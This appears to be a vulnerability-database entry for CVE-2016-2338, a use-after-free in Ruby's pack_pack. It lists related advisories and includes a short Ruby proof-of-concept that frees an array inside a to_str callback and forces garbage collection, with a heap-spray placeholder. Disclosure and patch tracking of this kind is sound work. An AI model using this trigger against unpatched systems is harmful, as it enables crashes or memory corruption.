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Ruby pack_pack Use After Free Vulnerability(CVE-2016-2338)
| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
 | Amazon Linux 2 : ruby, --advisory ALAS2-2025-2990 (ALAS-2025-2990) | 4 Sep 202500:00 | – | nessus |
| Debian DLA-2158-1 : ruby2.1 security update | 26 Mar 202000:00 | – | nessus |
| MiracleLinux 7 : ruby-2.0.0.648-39.0.3.el7.AXS7 (AXSA:2025-10921:03) | 13 Jan 202600:00 | – | nessus |
| RHEL 6 : ruby (Unpatched Vulnerability) | 11 May 202400:00 | – | nessus |
| RHEL 7 : ruby (Unpatched Vulnerability) | 11 May 202400:00 | – | nessus |
 | Medium: ruby | 4 Sep 202500:00 | – | amazon |
 | CVE-2016-2338 | 29 Sep 202207:40 | – | circl |
 | Ruby 'pack_pack' function memory misreference vulnerability | 24 Jun 201600:00 | – | cnvd |
 | CVE-2016-2338 | 14 Feb 202000:00 | – | cve |
 | CVE-2016-2338 | 14 Feb 202000:00 | – | cvelist |
10
$a = []
class MyObject
def to_str
$a.clear()
$a = nil
GC.start
#spray * spray * spray
return "TALOS"
end
end
$a.push(MyObject.new())
$a.push(".")
puts $a.pack("AA")
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20 Oct 2017 00:00Current
9.4High risk
Vulners AI Score9.4
EPSS0.04644